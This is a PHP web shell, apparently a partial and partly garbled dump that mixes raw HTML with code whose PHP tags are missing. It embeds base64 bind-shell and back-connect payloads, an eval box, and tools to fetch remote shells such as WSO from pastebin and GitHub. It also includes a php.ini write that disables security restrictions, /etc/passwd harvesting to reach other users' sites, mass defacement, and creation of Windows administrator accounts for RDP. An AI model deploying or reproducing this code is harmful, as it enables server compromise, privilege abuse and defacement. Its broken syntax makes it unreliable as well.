$port_bind_bd_c  = "bVNhb9owEP2OxH+4phI4NINAN00aYxJaW6maxqbSLxNDKDiXxiLYkW3KGOp/3zlOpo7xIY793jvf +fl8KSQvdinCR2NTofr5p3br8hWmhXw6BQ9mYA8lmjO4UXyD9oSQaAV9AyFPCNRa+pRCWtgmQrJE P/GIhufQg249brd4nmjo9RxBqyNAuwWOdvmyNAKJ+ywlBirhepctruOlW9MJdtzrkjTVKyFB41ZZ dKTIWKb0hoUwmUAcwtFt6+m+EXKVJVtRHGAC07vV/ez2cfwvXSpticytkoYlVglX/fNiuAzDE6VL 3TfVrw4o2P1senPzsJrOfoRjl9cfhWjvIatzRvNvn7+s5o8Pt9OvURzWZV94dQgleag0C3wQVKug Uq2FTFnjDzvxAXphx9cXQfxr6PcthLEo/8a8q8B9LgpkQ7oOgKMbvNeThHMsbSOO69IA0l05YpXk HDT8HxrV0F4LizUWfE+M2SudfgiiYbONxiStebrgyIjfqDJG07AWiAzYBc9LivU3MVpGFV2x1J4W tyxAnivYY8HVFsEqWF+/f7sBk2NRQKcDA/JtsE5MDm9EUG+MhcFqkpX0HmxGbqbkdBTMldaHRsUL ZeoDeOSFBvpefCfXhflOpgTkvJ+jtKiR7vLohYKCqS2ZmMRj4Z5gQZfSiMbi6iqkdnHarEEXYuk6 uPtTdumsr0HC4q5rrzNifV7sC3ZWUmq+LVlVa5OfQjTanZYQO+Uf";
$port_bind_bd_pl = "ZZJhT8IwEIa/k/AfjklgS2aA+BFmJDB1cW5kHSZGzTK2Qxpmu2wlYoD/bruBIfitd33uvXuvvWr1 NmXRW1DWy7HImo02ebRd19Kq1CIuV3BNtWGzQZeg342DhxcYwcCAHeCWCn1gDOEgi1yHhLYXzfwg tNqKeut/yKJNiUB4skYhg3ZecMETnlmfKKrz4ofFX6h3RZJ3DUmUFaoTszO7jxzPDs0O8SdPEQkD e/xs/gkYsN9DShG0ScwEJAXGAqGufmdq2hKFCnmu1IjvRkpH6hE/Cuw5scfTaWAOVE9pM5WMouM0 LSLK9HM3puMpNhp7r8ZFW54jg5wXx5YZLQUyKXVzwdUXZ+T3imYoV9ds7JqNOElQTjnxPc8kRrVo vaW3c5paS16sjZo6qTEuQKU1UO/RSnFJGaagcFVbjUTCqeOZ2qijNLWzrD8PTe32X9oOgvM0bjGB +hecfOQFlT4UcLSkmI1ceY3VrpKMy9dWUCVCBfTlQX6Owy8=";
$back_connect    = "fZFRS8MwFIXfB/sPWSw2hUrnqyPC0CpD3KStvqh0XRpcsE1KkoKF/XiTtCIV6tu55+Z89yY5W0St ktGB8aihsprPWkVBKsgn1av5zCN1iQGsOv4Fbak6pWmNgU/JUQC4b3lRU3BR7OFqcFhptMOpo28j S2whVulCflCNvXVy//K6fLdWI+SPcekMVpSlxIxTnRdacDSEAnA6gZJRBGMphbwC3uKNw8AhXEKZ ja3ImclYagh61n9JKbTAhu7EobN3Qb4mjW/byr0BSnc3D3EWgqe7fLO1whp5miXx+tHMcNHpGURw Tskvpd92+rxoKEdpdrvZhgBen/exUWf3nE214iT52+r/Cw3/5jaqhKL9iFFpuKPawILVNw==";
$back_connect_c  = "XVHbagIxEH0X/IdhhZLUWF1f1YKIBelFqfZJliUm2W7obiJJLLWl/94k29rWhyEzc+Z2TjpSserA BYyt41JfldftVuc3d7R9q9mLcGeAEk5660sVAakc1FQqFBxqnhkBVlIDl95/3Wa43fpotyCABR95 zzpzYA7CaMq5yaUCK1VAYpup7XaYZpPE1NArIBmBRzgVtVYoJQMcR/jV3vKC1rI6wgSmN/niYb75 i+21cR4pnVYWUaclivcMM/xvRDjhysbHVwde0W+K0wzH9bt3YfRPingClVCnim7a/ZuJC0JTwf3A RkD0fR+B9XJ2m683j/PpPYHFavW43CzzzWyFIfbIAhBiWinBHCo4AXSmFlxiuPB3E0/gXejiHMcY jwcYguIAe2GMNijZ9jL4GYqTSB9AvEmHGjk/m19h1CGvPoHIY5A1Oh2tE3XIe1bxKw77YTyt6T2F 6f9wGEPxJliFkv5Oqr4tE5LYEnoyIfDwdHcXK1ilrfAdUbPPLw==";<html><head><link rel="icon" type="image/png" href="http://downloadicons.net/sites/default/files/heartbreak-icon-85786.png"><title>S I R N A</title>
<script type="text/javascript">function tukar(b,a){document.getElementById(b).style.display="none";document.getElementById(a).style.display="block"};</script>
<link href="https://fonts.googleapis.com/css?family=Montserrat" rel="stylesheet">
<style>body::-webkit-scrollbar{width:1em}body::-webkit-scrollbar-track{-webkit-box-shadow:inset 0 0 6px rgba(0,0,0,.3)}body::-webkit-scrollbar-thumb{background-color:darkgrey;outline:1px solid slategrey}.mybox{-moz-border-radius:10px;border-radius:10px;border:1px solid #4c83af;padding:4px 2px;width:70%;line-height:24px}.myboxtbl{width:50%}body{background-color:transparan;background:#000;background-image:url("echo $background;");background-position:center;background-attachment:fixed;background-repeat:no-repeat}a{text-decoration:none}hr,a:hover{border-bottom:1px solid #4c83af}*{text-shadow:0 0 .3em #999;font-size:14px;font-family:'Montserrat',sans-serif;color:echo $fontcolor_global;}.tabnet{margin:15px auto 0 auto;border:1px solid #333}.main{width:100%}.gaya{color:#888}.top{border-left:1px solid black;border-RIGHT:1px solid #fff;font-family:verdana}input{background:#111;border:1;padding:2px;border-bottom:1px solid #222;border-top:1px solid #222;font-size:12px;vertical-align:middle;height:20;border-left:1px solid #5d5d5d;border-right:1px solid #121212;border-bottom:1px solid #121212;border-top:1px solid #5d5d5d;color:#9f9f9f}.inputz{background:#111;border:0;padding:2px;border-bottom:1px solid #393939;font-size:11px;color:#fff;-moz-border-radius:6px;border-radius:10px;border:1px solid #4c83af;margin:4px 0 8px 0}.inputzbut{background:#111;color:#8f8f8f;margin:0 4px;border:1px solid #444}.inputzbut:hover{border-bottom:1px solid #4c83af;border-top:1px solid #4c83af}.inputz:hover{-moz-border-radius:6px;border-radius:10px;border:1px solid #4c83af;margin:4px 0 8px 0;border-bottom:1px solid #4c83af;border-top:1px solid #4c83af}.output2{margin:auto;border:1px solid #888;background:#000;padding:0 2px}textarea{margin:auto;border:2px solid #555;background:#000;padding:0 2px}.output{margin:auto;border:1px solid #303030;width:100%;height:400px;background:#000;padding:0 2px}.cmdbox{width:100%}.head_info{padding:0 4px}.b1{font-size:30px;padding:0;color:#555}.b2{font-size:30px;padding:0;color:maroon}.b_tbl{text-align:center;margin:0 4px 0 0;padding:0 4px 0 0;border-right:1px solid #333}.phpinfo table{width:100%;padding:0}.phpinfo td{background:#111;color:#ccc;padding:6px 8px}.phpinfo th,th{background:teal;border-bottom:1px solid #333;font-weight:400}.phpinfo h2,.phpinfo h2 a{text-align:center;font-size:16px;padding:0;margin:30px 0 0 0;background:#222;padding:4px 0}.explore{width:100%}.explore a{text-decoration:none}.explore td{border-bottom:1px solid #333;padding:0 8px;line-height:24px;color:#999}.explore th{padding:3px 8px;font-weight:400;color:white}.explore th:hover,.phpinfo th:hover{border-bottom:1px solid red}.explore tr:hover{background:#333}.viewfile{background:#edeceb;color:#000;margin:4px 2px;padding:8px}.sembunyi{display:none;padding:0;margin:0}#menu{background:#111;font-family:'Montserrat',sans-serif;font-size:12px;color:silver}#menu a{font-family:'Montserrat',sans-serif;padding:3px 5px;margin:2;text-shadow:0 0 .1em rgba(0,128,128,1),0pt 0 .3em rgba(0,128,128,1);background:#2d2b2b;text-decoration:none;letter-spacing:2px;display:inline-block;-moz-border-radius:10px;-webkit-border-radius:5px;-khtml-border-radius:5px;border-radius:5px}#menu a:hover{font-family:'Montserrat',sans-serif;background:#191919;border-bottom:1px solid #444;border-top:1px solid #444;color:#cecece}li{display:inline-block}ul{list-style-type:none;margin:0;margin:0}k,k a,k a:hover{text-shadow:0 0 .3em red;font-family:'Montserrat',sans-serif;font-size:25px;color:#fff}h7{font-size:35px}</style><body onLoad="document.getElementById('cmd').focus()"><div class="main"><div class="head_info"> <table><tr><td width="15%"><table class="b_tbl" cellspacing="0">
echo '<center><img src="http://cdn2.tstatic.net/tribunnews/foto/bank/images/20140203_070700_ilustrasi-galau.jpg" width="150px"><br><b>'.(S I R N A.'</b>');<div id="menu"><a href="?echo "sad=" . $pwd;&amp;x=about">About Me</a></div></center>
</td></tr></table></td><td class="top" width='80%' valign="top">echo $buff;</td><td style="width:30%" valign="top"><a>server ip :echo $server_ip . "<font color='red'><br><br></font> your ip : " . $my_ip . "<br></a>";</td></tr></table></div>
<div id="menu">
<center>
<ul>
<li><a href="?"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1gAADdYBkG95nAAAAAd0SU1FB9oJBxQ2GRnu/TgAAAJzSURBVDjLtZLPSxtBHMXf5semZDfS7KpIaWzRShoFD5UK9h6ai5eCPfZkwYJ4kF566a30H0gF24BUqDdjBT1VCFIsNBUWEw+ha2obpDGUXGR1Z7KZ+fbQRky1vfULAzPD4/MeMw/4H7O6ugoAsG17tFwuJwFgd3f3Qq3yN0g+n7+r6/oKgEtQMDWYGHx5kc539rC4uAgA2Hy/OaGq6oplWaVcLmdxxl9YlvUEALa2tv6dYGPjXSoS6chWKpWKaZpdoVBIL5VK+0NDQ/1END02NjZ/LsHc3BwAYG1tbSIYVLOFQuGzpmldgUDAkFKqvb2917a3t23GWDqXyz0BgPX19fYEy8vLKV3XswcHBxXDMLoikYghpaRW0kajwfbK5W834/F+ANOpVGr+FLC0tHRf0/TX+/tf7J6eniuappkA6IwBtSC2bX9NJBIDRPT05OTkuTL1aKpj9Pbox1qtdmgYxlXTNG8QEV3wPgRAcV23bllWfmRkZNh13VuKpmnBvr6+O1LK2szMzNtwOBxviYUQUBQFPp+vBYCU8jCTyaSOj48vA/hw6jI+Ph5JJpOfwuFwnIjAGKsvLCw8cxxHTE4+fGwY0RgRgYi+O44zPDs7W2/rgeu6CmMMjDFwziGE+JFIJF5Vq9VMs+kdcs7BOQdjDEdHR6fGgdZGCAHOOfx+P4gIQggZjUaps9OkRqNBjDHQr1E8z8M5QLVaheM4TZ/fBxDQbDZVz/MgJYFzHlRVFURQms2GqNfr4qIm+mOx2L3u7u5hKSVCIXVPSvGmsFNUBuLxB8FA4DoAeJ63UywWswBk2x+l0+kW0P97KX80tnXfNj8B5NE5DOMV2T0AAAAASUVORK5CYII='></a></li>
<li><a href="?echo "sad=" . $pwd;">Files</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=shell">Command</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=upload">Upload</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=php">Eval</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=sym">Sym</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=jumping">Jumping</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=hostg">Fucking HostGator</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=grabc">Config Grabber</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=netsploit">Tools</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=mass">Mass</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=krdp">Create RDP</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=mailtest">Mail Tester</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=get_tools">Write Tools</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=bypasser">Bypasser</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=brute">Brute</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=phpinfo">phpinfo</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=zone-h">Zone-H</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=joomla">Joomla</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=wordpress">Wordpress</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=vb">Vb</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=domains">Domains</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=string">String</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=cmsdet">CMS Detector</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=wm">Wp Mass</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=settings">Settings</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=change_pass">Change Shell Password</a></li>
<li><a href="?logout" style="background:#900;color:#FFF;background-image:url('http://up.ashiyane.org/images/b5crr7rhrwc5e97nvgxq.png');background-position:2px;height:20px;width:100px;background-repeat:no-repeat">Logout</a></li>
</ul>
</center>
</div>
if (isset($_GET['x']) && ($_GET['x'] == 'php')) {<form action="?sad=echo $pwd;&amp;x=php" method="post"><table class="cmdbox"><tr><td><textarea class="output" name="cmd" id="cmd" cols=90> 
if (isset($_POST['submitcmd'])) {
        echo eval(magicboom($_POST['cmd']));
    } else
        echo "echo file_get_contents('/etc/passwd');";</textarea></td></tr><tr><td><input style="width:19%" class="inputzbut" type="submit" value="Do !" name="submitcmd" /></td></tr></form></table></form> 
}
elseif (isset($_GET['logout'])) {
session_unset($_SESSION["login"]);
echo '<meta http-equiv="Refresh" content="0; URL='.$_SERVER['PHP_SELF'].'"/>';
}
elseif (isset($_GET['x']) && ($_GET['x'] == 'change_pass')) {
<center>
<h1>Change Shell Password</h1>
<form action="?sad=echo $pwd;&amp;x=change_pass" method="post">
<input type="text" name="password" class="inputz"><br>
<input type="submit" name="submit" class="inputzbut">
</form>
if(isset($_POST['submit'])){
    $newpassword = md5($_POST['password']);
    $old_pass = '"'.$auth_pass.'";';
    $new_pass = '"'.$newpassword.'";';
    if(file_get_contents($_SERVER['SCRIPT_FILENAME'])){
        $kr_pass = file_get_contents($_SERVER['SCRIPT_FILENAME']);
        $kr_pass = preg_replace("/$old_pass/is",$new_pass,$kr_pass);
    if(file_put_contents($_SERVER['SCRIPT_FILENAME'], $kr_pass)){
        echo "password baru : <font color=red>".$_POST['password']."</font> - <font color=greenyellow>$newpassword</font>";
    }
    }else{
        echo "Password gagal";
    }
}
    
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'mailtest'))
    {
        $to      = 'htaccess12@gmail.com';
        $subject = 'Support Mailer ^_^';
        $message = 'Support Mailer ! ^_^';
        $headers = 'From: webmaster@example.com\r\nReply-To: webmaster@example.com\r\nX-Mailer: PHP/' . phpversion();

        mail($to, $subject, $message, $headers);
        if(mail($to, $subject, $message, $headers)){
            echo '<script>alert("Support Mailer !!! Cek Emailmu !")</script>';
        }else{
            echo '<script>alert("Ada Kesalahan ! ")</script>';
        }
        
    }
elseif(isset($_GET['x']) && ($_GET['x'] == 'settings'))
    {
<center><br>
<h7>Settings Shell</h7><br>
<a href="?echo "y=".$pwd;&amp;x=set_bg"><input class=inputzbut type=submit value=" Background Shell" /></a>
| <a href="?echo "y=".$pwd;&amp;x=set_login"><input class=inputzbut type=submit value=" Login Background" /></a><br>
</center>
//functions settings
        $bgshell    = $_POST['bg_shell'];
        $bg_login   = $_POST['bg_login'];

       if(isset($_POST['submit'])){

        if (!empty($bgshell)) {
            $bgshelll = $_POST['bg_shell'];
            $replace_new = ''.$bgshelll.'';
            if(file_get_contents($_SERVER['SCRIPT_FILENAME'])){
                $write = file_get_contents($_SERVER['SCRIPT_FILENAME']);
                $background = preg_quote($background, '/');
                var_dump($background);
                
                $write = preg_replace("/$background/",$replace_new,$write);
            if(file_put_contents($_SERVER['SCRIPT_FILENAME'], $write)){
                echo '<center>Setting Saved !</center>';
            }
            }else{
                echo "<center>Setting Not Saved</center>";
            }
        }elseif(!empty($bg_login)){
            $bglogin = $_POST['bg_login'];
            $replace_new = ''.$bglogin.'';
            if(file_get_contents($_SERVER['SCRIPT_FILENAME'])){
                $write = file_get_contents($_SERVER['SCRIPT_FILENAME']);
                $background_login = preg_quote($background_login, '/');
                $write = preg_replace("/$background_login/",$replace_new,$write);
            if(file_put_contents($_SERVER['SCRIPT_FILENAME'], $write)){
                echo '<center>Setting Saved !</center>';
            }
            }else{
                echo "<center>Setting Not Saved !</center>";
            }
        }
    }

    
    }
    elseif(isset($_GET['x']) && ($_GET['x'] == 'get_tools'))
    {<center><br><br><h3>Write Tools</h3>
<table>
<tr><form method="post" action="">&nbsp;<td>
<select class="inputz" align="left" name="pilihan" id="pilih">
<option value="hsphere">Bypass hSphere Shell</option>
<option value="adminer">Adminer</option>
<option value="miniadmin">PHPMiniAdmin</option>
<option value="wso">WSO Shell</option>
</select>
<input type="submit" name="submites" class="inputz" value="create">
</td></form></tr></table><br/><br/><br/>
function gettool($filename,$link){
              $get = file_get_contents($link);
              file_put_contents($filename.'.php', $get);
              echo '<script>alert("Done ! ");</script>';
              echo 'Berhasil =>  <a href="'.$filename.'.php" target="_blank">'.$filename.'.php</a>';
            }
                $submit = $_POST ['submites'];
                if(isset($submit)) {
                    $pilih = $_POST['pilihan'];
                    ///hsphere shell
                        if ( $pilih == 'hsphere') {
                            gettool("hsphere","https://raw.githubusercontent.com/sinkaroid/pasirmerah/sc0/sc0hsphere.php");
                        }
                        elseif ( $pilih == 'adminer') {
                            gettool("adminer","https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php");
                        }elseif($pilih == 'miniadmin'){
                            gettool("sqlminiadmin","https://pastebin.com/raw/iHSNkKmg");
                        }elseif( $pilih == 'wso'){
                            gettool("wso","https://raw.githubusercontent.com/tennc/webshell/master/php/wso/WSO_base64.php");
                        }
                    }
        
    }
    elseif(isset($_GET['x']) && ($_GET['x'] == 'set_bg'))
    {
<center>
<form action="?sad=echo $pwd;&amp;x=settings" method="POST">
<table>
<tr>
<td><h7>Appearance Setting</h7></td>
</tr>
<tr>
<td>Background Shell</td><td>:</td><td><input type="text" name="bg_shell" class="inputz" placeholder="link image" style="width:200px"></td>
</tr>
<tr>
<td></td><td></td><td><input type="submit" name="submit" class="inputzbut"></td>
</tr>
</form>
</table>

    }

    elseif(isset($_GET['x']) && ($_GET['x'] == 'set_login'))
    {
<center>
<form action="?sad=echo $pwd;&amp;x=settings" method="POST">
<table>
<tr>
<td><h7>Appearance Setting</h7></td>
</tr>
<tr>
<td>Login Background</td><td>:</td><td><input type="text" name="bg_login" class="inputz" placeholder="link image" style="width:200px"></td>
</tr>
<tr>
<td></td><td></td><td><input type="submit" name="submit" class="inputzbut" value="submit setting"></td>
</tr>
</form>
</table>

    }
    elseif(isset($_GET['x']) && ($_GET['x'] == 'bypasser'))
            {
                echo "<center><br/><br/>Choose Bypasser Below<br/><br/>";
<a href="?echo "path=".$path;&amp;x=bysysfuncwsf"><input class=bordergaya type=submit value="Bypass Root Path With System Function" /></a>
Or <a href="?echo "path=".$path;&amp;x=bypsini"><input class=bordergaya type=submit value="Bypass Disable Functions" /></a>
Or <a href="?echo "path=".$path;&amp;x=bysysfuncwexec"><input class=bordergaya type=submit value="Bypass Root Path With Exec Function" /></a>
<br/><br/><br/><br/>

            }
    ////////////////////////////////////////
            ///////////////////////////////////////
            elseif(isset($_GET['x']) && ($_GET['x'] == 'bysysfuncwsf')) {
            echo '<br><center><span style="font-size:20px;">Bypass Root Path With System Function</span><center>';
            mkdir('bysyswsf', 0755);
            chdir('bysyswsf');
            $bysyswsf = file_get_contents("https://pastebin.com/raw/Pw07PwVD");
            $file = fopen("bysyswsf.php" ,"w+");
            $write = fwrite ($file ,$bysyswsf);
            fclose($file);
            chmod("bysyswsf.php",0755);
            echo "<iframe src=bysyswsf/bysyswsf.php width=70% height=70% frameborder=0></iframe>";
            }
            ////////////////////////////////////////
            ////////////////////////////////////////
            elseif(isset($_GET['x']) && ($_GET['x'] == 'bypsini')) {
                    $byht = "safe_mode = Off
                    disable_functions = None
                    safe_mode_gid = OFF
                    open_basedir = OFF
                    allow_url_fopen = On";
                    file_put_contents("php.ini",$byht);
                    echo "<script>alert('Congrats!'); hideAll();</script>";
                    die('<meta http-equiv="refresh" content="0; url=?" />');
            }
            ////////////////////////////////////////
            ///////////////////////////////////////
            elseif(isset($_GET['x']) && ($_GET['x'] == 'bysysfuncwexec')) {
            echo '<br><center><span style="font-size:20px;">Bypass Root Path With Exec Function</span><center>';
            mkdir('bysyswexecf', 0755);
            chdir('bysyswexecf');
            $bysyswsf = file_get_contents("https://pastebin.com/raw/6ccPfLW6");
            $file = fopen("bysyswexecf.php" ,"w+");
            $write = fwrite ($file ,$bysyswsf);
            fclose($file);
            chmod("bysyswexecf.php",0755);
            echo "<iframe src=bysyswexecf/bysyswexecf.php width=70% height=70% frameborder=0></iframe>";
            
            }
            ////////////////////////////////////////
            ////////////////////////////////////////

    ///////////////////////////////////////////////////////////////////////////
        ///////////JUMPING////////////////////////////////////////////////////////
        //////////////////////////////////////////
        elseif (isset($_GET['x']) && ($_GET['x'] == 'jumping')) {
<center>
<form action="?sad=echo $pwd;&amp;x=jumping" method="post">
//radable public_html
                ($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('<b>Error: safe_mode = on</b>');
                set_time_limit(0);
                ###################
                @$passwd = fopen('/etc/passwd','r');
                if (!$passwd) { die('<br>[-] Error : coudn`t read /etc/passwd'); }
                $pub = array();
                $users = array();
                $conf = array();
                $i = 0;
                while(!feof($passwd))
                {
                $str = fgets($passwd);
                if ($i > 35)
                {
                $pos = strpos($str,':');
                $username = substr($str,0,$pos);
                $dirz = '/home/'.$username.'/public_html/';
                if (($username != ''))
                {
                if (is_readable($dirz))
                {
                array_push($users,$username);
                array_push($pub,$dirz);
                }
                }
                }
                $i++;
                }
                ###################
                echo '<br><br></center></center>';
                echo "<font class='rapihbanget'>[+] Founded ".sizeof($users)." entrys in /etc/passwd\n<br /></font>";
                echo "<font class='rapihbanget'>[+] Founded ".sizeof($pub)." readable public_html directories\n<br /></font>";
                echo "<font class='rapihbanget'>[~] Searching for passwords in config files...<br /><br /></font>";
                foreach ($users as $user)
                {
                $path = "/home/$user/public_html/";
                echo "<font class='rapihbanget'><a href='?sad&#61;$path' target='_blank' font-weight:bold; color:#F80;'>$path</a><br></font>";
                }
                echo "<br /><font class='rapihbanget'>[+] Complete...\n<br /></font>";
                echo "<font class='rapihbanget'>[+] Monggo Sikat Boz!\n<br /></font>";
                echo '<br><br></b></body><center>';
                
        }


///////////////

 elseif (isset($_GET['x']) && ($_GET['x'] == 'mass')) {
    error_reporting(0);<center><table><td width="50%"><form ENCTYPE="multipart/form-data" action="$_SERVER['PHP_SELF'];" method=post><p align="center"><h2>Folder</h2><input class='inputz' typ=text name=path size=60 value="echo getcwd();"><br><h2>file name</h2><input class='inputz' typ=text name=file size=60 value="index.php"><br></td><td width="50%"><h3>Script Defacemu </h3><textarea class='inputz' name=index rows=10 cols=40>Hacked By NoNameUser - Error Violence</textarea><br></td></p></table><center><br><br><br><input class='inputzbut' type=submit value="&nbsp;&nbsp;Deface&nbsp;&nbsp;"></center></form><br>$mainpath = $_POST[path];
    $file     = $_POST[file];
    $dir      = opendir("$mainpath");
    $code     = base64_encode($_POST[index]);
    $indx     = ;
    while ($row = readdir($dir)) {
        $start  = @fopen("$row/$file", "w+");
        $finish = @fwrite($start, $indx);
        if ($finish) {
            echo "$row/$file > Done<br><br>";
        }
    }
    
} 
    ///menu rdp
        if(isset($_GET['x']) && ($_GET['x'] == 'krdp'))
            
        {
                if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')
                {<br/><br/>
<center>
<h1>RDP Creator By Shor7cut</h1>
<div id="content-left">
<form action="" method="post">
<table border="1px" bordercolor="#2d2b2b" cellpadding="5px">
<tr>
<td colspan="3" align="center" bgcolor="#2d2b2b"><font face="Fredericka the Great" size="2px" color="white">CREATE RDP</font></td>
</tr>
<tr>
<td><font class='kecew'>Username</font></td>
<td><font class='kecew'> : </font></td>
<td><input type="text" class="bordergaya" name="username" required></td>
</tr>
<tr>
<td><font class='kecew'>Password</font></td>
<td><font class='kecew'> : </font></td>
<td><input type="text" class="bordergaya" name="password" required></td>
</tr>
<tr>
<td colspan="3" align="center"><input type="hidden" name="kshell" value="1"><input type="submit" name="submit" class="bordergaya" value="Create"></td>
</tr>
</table>
</form>
</div>
<br/>
<div id="content-left">
<form action="" method="post">
<table border="1px" bordercolor="#2d2b2b" cellpadding="5px">
<tr>
<td colspan="3" align="center" bgcolor="#2d2b2b"><font face="Fredericka the Great" size="2px" color="white">OPTION</td>
</tr>
<tr>
<td><font class='kecew'>Username</font></td>
<td><font class='kecew'> : </font></td>
<td><input type="text" name="rusername" placeholder="Masukan Username" class="bordergaya"></td>
</tr>
<tr>
<td><font class='kecew'>Password</font></td>
<td><font class='kecew'> : </font></td>
<td><input type="text" name="gantipw" placeholder="Password Baru" class="bordergaya"></td>
</tr>
<tr>
<td><font class='kecew'>Action</font></td>
<td><font class='kecew'> : </font></td>
<td>
<select name="aksi" class="bordergaya">
<option value="1">Tampilkan Username</option>
<option value="2">Hapus Username</option>
<option value="3">Ubah Password</option>
</select>
</td>
</tr>
<tr>
<td colspan="3" align="center"><input type="hidden" name="kshell" value="2"><input type="submit" name="submit" class="bordergaya" value="Execute"></td>
</tr>
</table>
</form>
<br/>
</div>
</center></center>
if($_POST['submit'])
                    {
                        if($_POST['kshell']=="1")
                        {
                            $r_user = $_POST['username'];
                            $r_pass = $_POST['password'];
                            $cmd_cek_user   = shell_exec("net user");
                            if(preg_match("/$r_user/", $cmd_cek_user)){
                                echo $gaya_root.$r_user." sudah ada".$o;
                            }else {
                            $cmd_add_user   = shell_exec("net user ".$r_user." ".$r_pass." /add");
                            $cmd_add_groups1 = shell_exec("net localgroup Administrators ".$r_user." /add");
                            $cmd_add_groups2 = shell_exec("net localgroup Administrator ".$r_user." /add");
                            $cmd_add_groups3 = shell_exec("net localgroup Administrateur ".$r_user." /add");
                                if($cmd_add_user){
                                    echo $gaya_root."<font class='rapihbanget'>[+] Menambahkan User : ".$r_user." Password : ".$r_pass." <font color='greenyellow'>Berhasil!</font></font><br/><br/>".$o;
                                }else {
                                    echo $gaya_root."<font class='rapihbanget'>[+] Menambahkan User : ".$r_user." Password : ".$r_pass." <font color='red'>Gagal!</font><br/><br/>".$o;
                                }
                                echo "<font class='rapihbanget'>[+] Sedang Memroses User.. Silahkan Tunggu Sebentar..  <br/>";
                                if($cmd_add_groups1){
                                      echo $gaya_root."<font class='rapihbanget'>--- Selamat! User ".$r_user." <font color='greenyellow'>Berhasil Di Proses!</font><br/><br/>".$o;
                                }else
                                if($cmd_add_groups2){
                                      echo $gaya_root."<font class='rapihbanget'>--- Selamat! User ".$r_user." <font color='greenyellow'>Berhasil Di Proses!</font><br/><br/>".$o;
                                }else
                                if($cmd_add_groups3){
                                      echo $gaya_root."<font class='rapihbanget'>--- Selamat! User ".$r_user." <font color='greenyellow'>Berhasil Di Proses!</font><br/><br/>".$o;
                                }else {
                                      echo $gaya_root."<font class='rapihbanget'>--- Maaf User ".$r_user." <font color='red'>Gagal Di Proses!</font><br/><br/>".$o;
                                }
                                echo "<font class='rapihbanget'>[+] Server Info : </font><br/>";
                                echo $gaya_root."<font class='rapihbanget'>--- ServerIP : ".$_SERVER["HTTP_HOST"]."</font><br/><font class='rapihbanget'>--- Username  : ".$r_user."</font><br/><font class='rapihbanget'>--- Password  : </font>".$r_pass.$o."</font><br/><br/>";
                                echo "<font class='rapihbanget'>[+] Thank For Using It ~_^ </font><br/><br/>";
                            }


                        }
                        else if($_POST['kshell']=="2")
                        {
                            echo "<style>
                                    .coeg{margin-left:30%;}
                                    </style>";
                            if($_POST['aksi']=="1"){
                             echo "<pre class='coeg'>".shell_exec("net user");
                            }
                            else if($_POST['aksi']=="2")
                            {
                                $username = $_POST['rusername'];
                                $cmd_cek_user   = shell_exec("net user");
                                    if (!empty($username)){
                                        if(preg_match("/$username/", $cmd_cek_user)){
                                        $cmd_add_user   = shell_exec("net user ".$username." /DELETE");
                                        if($cmd_add_user){
                                            echo "<font class='rapihbanget'>[+] Sedang Memroses.. Silahkan Tunggu..  </font><br /><br />";
                                            echo $gaya_root."<font class='rapihbanget'>[+] Selamat! Remove User  </font><font color='orange'>".$username." </font><font color='greenyellow'>Berhasil!!</font><br /><br />".$o;
                                        }else {
                                            echo $gaya_root."<font class='rapihbanget'>[+] Yah :( Remove User  </font><font color='orange'>".$username." </font><font color='red'>Gagal!!</font><br /><br />".$o;
                                        }
                                    }else {
                                        echo $gaya_root."<font class='rapihbanget'>Are You Kidding Me?! Username : </font><font color='orange'>" .$username. " </font><font color='red'> Itu Enggak Ada!!</font><br /><br />".$o;
                                    }
                                    }else {
                                        echo $gaya_root."<font class='rapihbanget'> Silahkan Masukkan Dahulu Username Yang Mau Di Hapus!! </font><br /><br />".$o;
                                    }
                            }
                            else if($_POST['aksi']=="3")
                            {
                                echo "<style>
                                        .tengahaja{margin-left:35%}
                                      </style>";
                                $username = $_POST['rusername'];
                                $password = $_POST['gantipw'];
                                $cmd_cek_user   = shell_exec("net user");
                                    if (!empty($username)){
                                        if(preg_match("/$username/", $cmd_cek_user)){
                                            $cmd_add_user   = shell_exec("net user ".$username."");
                                            if($cmd_add_user){
                                            echo $gaya_root."<font class='tengahaja'>Ganti Password Username : ".$username." dan Password : ".$password." <font color='greenyellow'>Berhasil!!</font><br /><br />".$o;
                                        }else {
                                            echo $gaya_root."<font class='tengahaja'>Ganti Password Username : ".$username." dan Password : ".$password." <font color='red'>Gagal!!</font><br /><br />".$o;
                                        }
                                    }else
                                {
                                    echo $gaya_root."<font class='rapihbanget'>Are You Kidding Me?! Username : </font><font color='orange'>" .$username. " </font><font color='red'> Itu Enggak Ada!!</font><br /><br />".$o;
                                }
                                }else
                                {
                                    echo $gaya_root."<font class='rapihbanget'> Silahkan Masukkan Dahulu Username Yang Mau Di Hapus!! </font><br /><br />".$o;
                                }
                            }
